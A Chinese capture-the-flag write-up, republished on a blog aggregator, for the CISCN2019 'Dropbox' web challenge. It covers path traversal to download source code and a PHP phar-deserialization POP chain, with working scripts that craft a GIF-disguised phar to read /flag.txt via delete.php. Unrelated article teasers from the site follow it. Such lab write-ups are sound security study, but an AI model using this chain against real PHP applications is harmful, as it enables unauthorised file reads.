[CISCN2019 華北賽區 Day1 Web1]Dropbox

TRY

首先上傳和刪除文件抓包,可以發現upload.php和delete.php,只允許上傳gif png jpg后綴的文件。但是上傳的文件并沒有辦法訪問,不過可以下載,抓包發現下載的時候請求體是文件名,嘗試能不能通過路徑穿越獲取源碼,成功了。試試直接讀取flag,肯定是失敗的。
通過…/…/穿越到工作目錄然后下載所有源碼。

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}include "class.php";if (isset($_FILES["file"])) {$filename = $_FILES["file"]["name"];$pos = strrpos($filename, ".");if ($pos !== false) {$filename = substr($filename, 0, $pos);}$fileext = ".gif";switch ($_FILES["file"]["type"]) {case 'image/gif':$fileext = ".gif";break;case 'image/jpeg':$fileext = ".jpg";break;case 'image/png':$fileext = ".png";break;default:$response = array("success" => false, "error" => "Only gif/jpg/png allowed");Header("Content-type: application/json");echo json_encode($response);die();}if (strlen($filename) < 40 && strlen($filename) !== 0) {$dst = $_SESSION['sandbox'] . $filename . $fileext;move_uploaded_file($_FILES["file"]["tmp_name"], $dst);$response = array("success" => true, "error" => "");Header("Content-type: application/json");echo json_encode($response);} else {$response = array("success" => false, "error" => "Invaild filename");Header("Content-type: application/json");echo json_encode($response);}
}
?>

上傳的文件位置$_SESSION[‘sandbox’] . $filename . fileext,利用fileext,利用fileext,利用_FILES[“file”][“type”]過濾文件類型并修改后綴名。

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {return basename($this->filename);}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {return file_get_contents($this->filename);}
}
?>

有很多魔術方法,明顯能構造pop鏈。感覺是在下載文件時利用phar協議觸發反序列化。

WP

![在這里插入圖片描述](https://i-blog.csdnimg.cn/direct/9b11a14c54934b8494b457ee9de5f018.png =300)
看來不是所有上傳文件名的地方都能利用phar協議進行反序列化,能觸發反序列化的函數是有限的。
在class.php中能找到open()方法有file_exists函數,delete()方法有unlink函數,close()有file_get_contents函數。在delete.php中能看到使用了$file->detele(),并且其文件名也是我們上傳的,可以使用phar協議。

現在的思路就是構造pop鏈放入phar文件中,繞過類型過濾(phar文件靠文件內容識別不靠后綴名)然后上傳,并且拿到上傳位置,再使用phar協議請求delete.php觸發反序列化,拿到flag。

payload:

<?php
class User {public $db;// public function __destruct() {//     $this->db->close();// }
}class FileList {public $files;// private $results;// private $funcs;// public function __call($func, $args) {//     array_push($this->funcs, $func);//     foreach ($this->files as $file) {//         $this->results[$file->name()][$func] = $file->$func();//     }// }// public function __destruct() {//     $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';//     $table .= '<thead><tr>';//     foreach ($this->funcs as $func) {//         $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';//     }//     $table .= '<th scope="col" class="text-center">Opt</th>';//     $table .= '</thead><tbody>';//     foreach ($this->results as $filename => $result) {//         $table .= '<tr>';//         foreach ($result as $func => $value) {//             $table .= '<td class="text-center">' . htmlentities($value) . '</td>';//         }//         $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';//         $table .= '</tr>';//     }//     echo $table;// }
}class File {public $filename = "/flag.txt";// public function close() {//     return file_get_contents($this->filename);// }
}$a = new File();
$b = new FileList();
$c = new User();
$c->db = $b;
$b->files = array($a); //將變量 $a 作為元素放入一個新數組中,然后將這個數組賦值給對象 $b 的 files 屬性。$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($c);  
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();
?>

文件上傳位置為SESSION[‘sandbox’]內,定義在login.php中,但是這里其實并不用計算,因為讀取文件的當前位置就是上傳的位置,所以直接用phar://phar.jpg就可以
嘗試一下是出錯了,原因在于我構造payload時為了方便賦值將FileList中的$files變量屬性由private改為了public,這是絕對不允許的,因為反序列化的過程中識別變量時是通過變量名加屬性。這會導致攻擊鏈失效。
既然不能改屬性,那如何賦值private變量為我們構造的對象呢?利用__construct方法!

<?php
class User {public $db;
}class FileList {private $files;public function __construct() {$this->files = array(new File());}
}class File {public $filename = "/flag.txt";
}$a = new File();
$b = new FileList();
$c = new User();
$c->db = $b;$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($c);  
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();
?>

在這里插入圖片描述

Conclusion

首先通過文件下載功能獲得源碼,應該是服務端對文件名的解析沒有禁止掉目錄穿越。然后是phar反序列化結合文件上傳,改正了一個錯誤,不能修改屬性名(非特殊情況),可以利用__construct方法對private變量賦值為對象構造pop鏈。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/95814.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/95814.shtml
英文地址,請注明出處:http://en.pswp.cn/web/95814.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

網站管理后臺

這里套用的模板為 楓雨在線 在寶塔面板左側選擇菜單欄文件 在根目錄下找到www文件夾&#xff0c;點擊進入wwwroot文件夾&#xff0c;隨后能看到域名文件夾&#xff0c;里面有一下初始內容&#xff0c;可以全部刪掉&#xff0c;留下 .user.ini 文件 點擊上傳&#xff0c;將…

一款免費易用且打造的全功能媒體播放器

zyfun[zyplayer]是一款免費易用且打造的全功能媒體播放器, 致力于提供流暢、高效的跨平臺娛樂體驗。 注意&#xff1a;播放源請自行查詢&#xff0c;或者聯系博主。 下載&#xff1a;軟件下載 在線體驗可暫時使用:https://tv.snowytime.cn 密碼為123456 &#x1f389; 功能亮點…

【AI產品思路】AI 原型設計工具橫評:產品經理視角下的 v0、Bolt 與 Lovable

本文原創作者&#xff1a;姚瑞南 AI-agent 大模型運營專家/音樂人/野生穿搭model&#xff0c;先后任職于美團、獵聘等中大廠AI訓練專家和智能運營專家崗&#xff1b;多年人工智能行業智能產品運營及大模型落地經驗&#xff0c;擁有AI外呼方向國家專利與PMP項目管理證書。&#…

計算機視覺(九):圖像輪廓

在計算機視覺&#xff08;Computer Vision, CV&#xff09;中&#xff0c;圖像輪廓&#xff08;Image Contour&#xff09;是圖像中物體邊界的重要表現形式。它不僅能描述物體的形狀特征&#xff0c;還能為目標識別、目標檢測、圖像分割、場景理解、三維重建等任務提供重要依據…

ThinkPHP 6框架常見錯誤:htmlentities()函數參數類型問題解決

在ThinkPHP 6框架中&#xff0c;htmlentities() 函數是一個常用的PHP函數&#xff0c;用于將字符轉換為HTML實體。這個函數通常在輸出內容到瀏覽器時使用&#xff0c;以防止跨站腳本&#xff08;XSS&#xff09;攻擊。然而&#xff0c;在使用過程中可能會遇到參數類型問題。錯誤…

網絡通信 IO 模型學習總結基礎強化

網絡通信概念網絡通信因為要處理復雜的物理信號&#xff0c;錯誤處理等&#xff0c;所以采用了分層設計。為什么要采用分層設計&#xff1f;1. 每層可以獨立開發&#xff0c;測試和替換&#xff1b;2. 發生問題也可以快速定位到具體層次&#xff1b;3. 協議標準化&#xff0c;不…

【ComfyUI】深度 ControlNet 深度信息引導生成

今天給大家演示一個結合 ControlNet 深度信息的 ComfyUI 建筑可視化工作流。整個流程通過引入建筑專用的權重模型和深度控制網絡&#xff0c;使得生成的建筑圖像不僅具備高質量和超寫實的細節&#xff0c;還能精確遵循輸入圖片的結構特征。在這個案例中&#xff0c;模型加載、文…

Python數據可視化科技圖表繪制系列教程(六)

目錄 散點圖1 散點圖2 添加線性回歸線的散點圖 自定義點形狀的散點圖 不同樣式的散點圖 抖動散點圖 邊際圖 邊緣為直方圖的邊際圖 邊緣為箱線圖的邊際圖 曼哈頓圖 【聲明】&#xff1a;未經版權人書面許可&#xff0c;任何單位或個人不得以任何形式復制、發行、出租、…

spring AI 的簡單使用

1. 引入 Spring 官?推出的?個穩定版??智能(AI)集成框架. 旨在幫助 Java/Spring 開發者更便捷地在企業級應?中集成 AI 能? (如?語?模型、機器學習、向量數據庫、圖像?成等)。 它主要提供了以下功能&#xff1a; ? ?持主要的AI模型提供商, ?如 Anthropic、OpenAI、M…

圖像去霧:從暗通道先驗到可學習融合——一份可跑的 PyTorch 教程

一、為什么“去霧”依然是好課題&#xff1f; 真實需求大&#xff1a;手機拍照、自動駕駛、遙感、監控都要在惡劣天氣下成像。 數據集相對干凈&#xff1a;與通用目標檢測相比&#xff0c;去霧只有“有霧/無霧”一對圖像&#xff0c;標注成本低。 傳統與深度并存&#xff1a;…

Ubuntu 22.04.1上安裝MySQL 8.0及設置root密碼

安裝MySQL 8.0 在 Ubuntu 22.04.1 系統需要遵循幾個明確的步驟&#xff0c;并在安裝過程中配置root密碼&#xff0c;以下是詳細的過程和相關的注意事項。步驟 1: 更新系統 使用終端更新系統軟件包列表以確保所有的包是最新的。sudo apt update sudo apt upgrade步驟 2: 安裝MyS…

用?content-visibility?即刻提速:那個被你忽略的 CSS 性能杠桿

我有一支技術全面、經驗豐富的小型團隊&#xff0c;專注高效交付中等規模外包項目&#xff0c;有需要外包項目的可以聯系我&#x1f50d; 引言長頁面、信息密集、滾動遲滯&#xff1f;**content-visibility** 這項相對較新的 CSS 屬性&#xff0c;允許瀏覽器跳過視口外元素的渲…

字符串(2)

4.字符串的常見函數代碼#include <stdio.h> #include <string.h> int main() {char* str1 "abc";char str2[100] "abc";char str3[5] { q,w,e,r ,\0 };printf("---------------------strlen&#xff08;長度&#xff09;-------------…

案例分享|企微智能會話風控系統:為尚豐盈鋁業筑牢溝通安全防線

企微智能會話安全風險分析系統是一款基于企業微信原生集成的高性能處理平臺&#xff0c;其核心在于通過智能監測和AI風險識別技術&#xff0c;對員工與內外部客戶的聊天內容進行多模態分析&#xff08;涵蓋文本、圖片、語音、視頻、文件等多種形式&#xff09;&#xff0c;利用…

Paimon——官網閱讀:配置

配置(Maintenance) 系統表 表特定系統表 表特定系統表包含關于每個表的元數據和信息&#xff0c;例如創建的快照以及正在使用的選項。用戶可以通過批量查詢來訪問系統表。 目前&#xff0c;Flink、Spark、Trino 和 StarRocks 支持查詢系統表。 在某些情況下&#xff0c;表…

阿里云對象存儲OSS的使用

文章目錄注冊阿里OSS注冊并登錄阿里云賬號開通對象存儲OSS創建Bucket修改權限創建AccessKey全局存儲到你的計算機(可以跳過)查看官方文檔(可以跳過)SSM使用引入依賴在spring-mvc.xml中加入配置創建上傳工具類AliOssUtil響應工具類ResultJSON編寫controller編寫前端代碼使用Elme…

香港云主機常見使用問題匯總

本文主要為初次或正在接觸香港云主機的用戶介紹&#xff0c;對于香港云服務器的一些問題進行解答&#xff0c;幫助用戶更好的了解香港云主機&#xff0c;熟悉香港云主機。1.香港云主機是否需要備案?香港云主機無需進行像內地服務器那樣的 ICP 備案&#xff0c;可直接部署使用。…

JAVA同城打車小程序APP打車順風車滴滴車跑腿源碼微信小程序打車源碼

JAVA同城打車系統源碼&#xff1a;多端融合的智能出行生態解決方案一、市場需求與行業背景在共享經濟蓬勃發展和數字化轉型加速的背景下&#xff0c;中國同城出行市場正迎來快速增長期。2025年中國同城出行市場規模預計突破8000億元&#xff0c;年復合增長率超過25%。基于Sprin…

AI入坑: Trae 通過http調用.net 開發的 mcp server

1. 為什么要寫這個 為什么要寫這個內容&#xff0c;前幾天開始加入到ai大軍&#xff0c;通過一周的學習&#xff0c;看了國外網站、看了b站教程、看了抖音教程&#xff0c;居然發現都是開發在本地的mcp server。本地mcp沒問題&#xff0c;個人使用都ok&#xff0c;或者通過npx下…

記錄Pycharm所使用虛擬環境與終端無法對應

在anaconda安裝時&#xff0c;本文中的安裝位置在D盤&#xff0c; D:\soware\anaconda 理論環境位置 D:\soware\anaconda\envs 經檢查PATH配置均未發現錯誤&#xff0c;其次問題并不在于Pycharm的設置中解譯器與終端的設置經過多次查找未發現可用解決方案 在anaconda建立虛擬環…